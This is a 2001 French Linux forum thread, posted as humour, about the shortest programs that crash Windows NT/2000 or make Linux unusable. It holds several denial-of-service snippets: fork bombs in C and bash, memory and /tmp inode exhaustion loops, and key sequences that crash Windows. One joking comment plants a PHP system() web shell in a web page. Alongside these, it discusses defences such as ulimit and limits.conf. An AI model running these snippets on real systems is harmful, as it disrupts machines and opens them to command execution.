Concours de plantage

Posté par  (site Web personnel) . Modéré par Fabien Penso.
Étiquettes :
0
29
oct.
2001
Humour
Ce matin, en lisant mes mails, je suis tombé sur le plus petit programme en "user-space" (espace d'exécution pour utilisateurs normaux pour ceux qui ne parlent pas le langage technico-technique) qui fait planter Windows (versions NT 4 et 2000).

L'idée m'est donc venu d'essayer de faire la même chose sous GNU/Linux, et je n'ai pas trouvé.
Alors et vous, avez-vous une idée ?

Voici le code pré-cité :

#include <stdio.h>
int main (void) {
while (1)
printf("\t\b\b\b ") ;
return EXIT_SUCCESS ;
}
  • # Linux aussi

    Posté par  (site Web personnel) . Évalué à 8.

    Ce programme ne plante pas sous Windows 98.
    De plus, c'est un bug dans la console (hum) par défaut de Windows NT, puisque si le programme est lancé dans une autre console, ça ne plante plus.

    Sous linux, un

    while(fork()) ;

    devrait faire l'affaire non ?
    ça ne fait pas directement planter la machine, mais elle est inutilisable et il ne reste plus qu'à redémarer sauvagement.
    • [^] # Re: Linux aussi

      Posté par  . Évalué à 10.

      ça ne fait pas directement planter la machine, mais elle est inutilisable et il ne reste plus qu'à redémarer sauvagement.

      Quand on administre une machine ou ce genre de chose est possible (je pense notamment aux écoles ou, a chaque cours sur le fork, ca arrive :) ), on commence par mettre un ulimit pour limiter le nombre de process par utilisateur. Ensuite, garder dans un coin une console root bien nice permet généralement de rattrapper le coup, a grand coup de killall.
      • [^] # Re: Linux aussi

        Posté par  . Évalué à 1.

        Et contre le while(malloc(42)); tu fais quoi ? :p
        • [^] # Re: Linux aussi

          Posté par  . Évalué à 10.

          1/ while(malloc(42)) s'arrêtera de lui-même quand malloc retournera NULL.

          2/ ulimit permet aussi de limiter la consommation de mémoire.
          • [^] # Re: Linux aussi

            Posté par  . Évalué à 4.

            1/ while(malloc(42)) s'arrêtera de lui-même quand malloc retournera NULL.

            J'ai un doute sur le fonctionnement de linux. Il me semble que la mémoire s'alloue par page, et que le mémoire n'est pas réellement allouée tant qu'il n'y a pas eut d'accès en écriture. C'est vrai ou j'ai révé ?
            • [^] # Re: Linux aussi

              Posté par  . Évalué à 5.

              En fait, tu peux allouer beaucoup plus de mémoire que tu n'en a (swap comprise) si tu ne l'utilise pas tout de suite, comme dans ce cas là.
              C'est pourquoi il est recommandé de n'allouer de la mémoire que lorsqu'on en a besoin et seulement la quantité requise.
              Donc cette boucle ne devrait pas faire grand chose de méchant, au bout d'un moment, malloc retournera quand même NULL mais je pense que, n'étant pas utilisée, reste de la mémoire pour les autres processus.

              Etienne

              PS: il me semble que ce sujet était abordé dans le livre de Christophe Blaise la programmaion système en C sous Linux (désolé pour la pub mais c'est un très bon livre)
              • [^] # Re: Linux aussi

                Posté par  . Évalué à 1.

                Christophe BLAESS bien sûr, je suis désolé d'avoir écorché son nom... Mea maxima culpa.

                abracadabra *-1*
          • [^] # Re: Linux aussi

            Posté par  (site Web personnel) . Évalué à 5.

            Ceci dit, il faut aussi contrôler les sémaphores (semget, cf ipcs), la mémoire partagée (shmget, cf ipcs), les ports ouverts (tu peux ouvrir tous ceux au-dessus de 1024 si ça t'amuse), les inodes des systèmes de fichiers, l'espace disque des systèmes de fichier, le nombre de sockets... (en gros éviter de saturer les tables de taille fixe du noyau ou du système)
          • [^] # Re: Linux aussi

            Posté par  . Évalué à 1.

            moi quand je fais un while(malloc(10)) au bout d'un temps très court (qq sec), le kernel tue des process au hasard. Pour l'instant je l'ai toujours interrompu avant un éventuel plantage.
        • [^] # Re: Linux aussi

          Posté par  . Évalué à 10.

          contre les "trucalacon" genre while(fork()) ou while(malloc(42)) et contre toute autre pollution des ressources du systeme, il éxiste un fichier de limites soft et hard qui permet d'eviter toute saturation : /etc/security/limits.conf

          exemple, en ayant vos utilisateurs font partie d'un groupe "users" et qques personnes dans le groupe "src" (compilations de source)

          ca vous donne un fichier :
          # /etc/security/limits.conf
          # <domain> <type> <items> <value>

          # ne deboggant pas les soft, on va éviter les coredumps pour tout le monde
          * soft core 0

          #j'ai 10 users en parallele, 1Go de RAM, donc pas plus de...
          #on va dire 64MB sur 12 process par user (3 par connexion),
          #sauf ceux qui compilent : 256MB sur un max de 32 :)
          @staff hard rss 65536
          @staff soft nproc 10
          @staff hard nproc 20
          @src hard rss 262144
          @src soft nproc 16
          @src hard nproc 32

          #ce n'est pas un serveur de calcul, donc pas de process durant plus d'une heure (3600 secondes):
          @staff hard cpu 3600

          #les connections : 4 simultanée pour les users, 0 pour les daemons
          @staff - maxlogins 4
          @daemon - maxlogins 0
          ftp - maxlogins 0

          #EOF


          Eet voilà... bon bien sûr ça se fignole, mais je vous laisse lire le man.

          Sinon, il est possible de tuner ces limites directement dans le kernel comme le nombre de threads par user, limité à (d'après mes souvenirs) 256 en dur.
          • [^] # Re: Linux aussi

            Posté par  (site Web personnel) . Évalué à 1.

            C'est sur quelle distribution ?
            Parce que le noyau ne permet pas de gérer les ulimit par user (pas encore et pas en standard).
            Je pense que c'est un mécanisme d'une distribution qui lui permet de gérer ça pour le lancement des daemon.

            Me trompe-je ?
            • [^] # Re: Linux aussi

              Posté par  . Évalué à 4.

              >C'est sur quelle distribution ?

              C'est indépendant de la distribution. Sous linux, c'est PAM qui semble gérer ces limites.

              Cette possibilité existe aussi sur d'autres unix, moi meme je l'ai découvert sur AIX.

              Si vous avez vraiment envie/besoin de securiser votre serveur, je vous conseille cet excellent bouquin de G.Morani :
              - C'est orienté RedHat, mais appliquable partout : http://www.linuxdoc.org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edi(...)
              - paragraphe su les limites en particulier : http://www.linuxdoc.org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edi(...)

              C'est dans ce bouquin que j'avais vu comment limiter le nombre de processes par user, et le nb de processes réservés à root, un peu comme des slots vides, directement dans le kernel :
              "To increase the number of tasks allowed the maximum number of processes per user, you may need to edit the /usr/src/linux/include/linux/tasks.h file and change the following parameters. Edit the tasks.h file, vi +14 /usr/src/linux/include/linux/tasks.h and change the following parameters: NR_TASKS from 512 to 3072 and MIN_TASKS_LEFT_FOR_ROOT from 4 to 24"
    • [^] # Re: Linux aussi

      Posté par  . Évalué à 2.

      Tu peux limiter le nombre de process pour les users (avec ulimit) et donc ça ne fait pas forcément planter linux.
      • [^] # Re: Linux aussi

        Posté par  . Évalué à 7.

        Dans man bash, on trouve:
        <CITATION>

        ulimit [-SHacdfmstpnuv [limit]]
        Ulimit provides control over the resources available to the shell and to processes started by it, on systems that allow such control.
        The value of limit can be a number in the unit specified for the resource, or the value unlimited. The H and S options specify that
        the hard or soft limit is set for the given resource. A hard limit cannot be increased once it is set; a soft limit may be increased
        up to the value of the hard limit. If neither H nor S is specified, the command applies to the soft limit. If limit is omitted, the
        current value of the soft limit of the resource is printed, unless the H option is given. When more than one resource is specified,
        the limit name and unit is printed before the value. Other options are interpreted as follows:
        -a all current limits are reported
        -c the maximum size of core files created
        -d the maximum size of a process's data segment
        -f the maximum size of files created by the shell
        -m the maximum resident set size
        -s the maximum stack size
        -t the maximum amount of cpu time in seconds
        -p the pipe size in 512-byte blocks (this may not be set)
        -n the maximum number of open file descriptors (most systems do not allow this value to be set, only displayed)
        -u the maximum number of processes available to a single user
        -v The maximum amount of virtual memory available to the shell

        An argument of -- disables option checking for the rest of the arguments. If limit is given, it is the new value of the specified
        resource (the -a option is display only). If no option is given, then -f is assumed. Values are in 1024-byte increments, except for
        -t, which is in seconds, -p, which is in units of 512-byte blocks, and -n and -u, which are unscaled values. The return status is 0
        unless an illegal option is encountered, a non-numeric argument other than unlimited is supplied as limit, or an error occurs while
        setting a new limit.
        </CITATION>

        Comme quoi, grace a ulimit, on peut vraiment restreindre les possibilités des utilisateurs.

        <PUB>
        Pour peu qu'ils soient chrootés ... (voir schroot sur sourceforge)
        </PUB>
        • [^] # Re: Linux aussi

          Posté par  . Évalué à 0.

          Alors en voila un qui est pas prévu par ulimit :
          sursaturation de /tmp. Meme un reboot sauvage
          ne rêgle pas le pb.

          #include <stdio.h>
          int main () {
          unsigned long n;

          char nz[1024], *n0="/tmp/.%ul";
          while (1) {
          sprintf (nz,n0,n); fclose(fopen(nz,"w+"));
          }

          en quelques secondes, plus un inode dispo dans /tmp. Merci qui?
          • [^] # Re: Linux aussi

            Posté par  . Évalué à 1.

            Sous mandrake (>=8.0) (je sais pas pour les autres mais tu peut toujours le faire à la main) tu peut la configurer pour vider automatiquement /tmp au démarrage.
            Et hop problème envolé.
            • [^] # Re: Linux aussi

              Posté par  . Évalué à -1.

              Oui, sous Debian c'est le cas par défaut.

              -1, mais ceci n'est pas un troll
    • [^] # Re: Linux aussi

      Posté par  . Évalué à 4.

      Pour que ça marche, il faut combiner les deux:


      while (42) { fork();malloc(420); }


      Vu que la limite de mémoire s'applique par process, pour peu que la limite de process ne soit pas trop draconnienne, on peut ainsi bouffer toutes la mémoire dispo, swap comprise, ce qui fait bien un DoS. Par contre ça se rattrape à coup de SysRq, donc on est pas obliger de rebooter.
  • # Effectivement !

    Posté par  (site Web personnel) . Évalué à 6.

    Oui, je confirme, ça plante bien sous win2k pro sans aucun "service pack" d'installé !

    Exécuter une fois le printf, ça passe...

    Mais dès qu'on le fait plus qu'une fois, et ben un bel écran bleu arrive !
  • # Ben ça s'ammeliore

    Posté par  (site Web personnel) . Évalué à 0.

    Oui, sous win98 3 octets suffisent:
    c:\>debug
    -a
    cli
    jmp 100

    -g
    • [^] # Re: Ben ça s'ammeliore

      Posté par  . Évalué à 2.

      Je suis pris d'un gros doute (encore un). C'est pas l'appel à reboot () qui se fait comme ça normalement ?

      Dans ce cas, c'est pas un bug, c'est une fonctions.

      Et puis le monsieur, il demande un progrtamme en userland. Sous 98, il n'y a pas de userland :)
      • [^] # Re: Ben ça s'ammeliore

        Posté par  (site Web personnel) . Évalué à 2.

        C'est pas l'appel à reboot () qui se fait comme ça normalement ?

        nan :
        cli -> bloque les interruptions soft
        jmp 100 -> retourne sur le cli

        ça reboot pas, ça bloque juste le multi-tâche qui utilise une interruption soft (il me semble, quelqu'un peut confirmer ?)

        sinon effectivement le concours ne peut pas se faire sous w98.

        (-1 pasque un peu hors-sujet là :)
  • # (si vous n'avez rien d'autre a faire...)

    Posté par  (site Web personnel) . Évalué à -1.

    sans ulimit, ca peut faire mal:

    #!/bin/bash
    while ((1)); do
    $0 &
    done
  • # wait and see

    Posté par  . Évalué à 1.

    $ echo "< tt ><? print system($crackme) ?>< /tt >" \
    | tee public_html/index.php \
    | mailx -s "U LAMERZ" warlordz@ccc.nl

    --
    # strings /proc/kcore | grep CCC >> /var/log/warlords
  • # XP aussi ;-)

    Posté par  . Évalué à 5.

    Petit bonus de ce matin (source BugTraq), ça marche aussi sur Windows XP ;-)

    Sinon, un autre feu d'artifice pour Win2k (source BugTraq aussi, fin juillet 2001) :

    - lancez une invite de commande
    - ping une_ip
    - pendant que ping affiche des données,
    appuyez sur F7 puis Enter
    - oh la belle bleue ;-)


    Amusez-vous bien,

    -- Alexis
  • # Désolé, mon code est plus petit :

    Posté par  . Évalué à 1.

    main()
    {
    printf("\t\b\b ");
    }

    Pas besoin du while(1) !!!!

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n’en sommes pas responsables.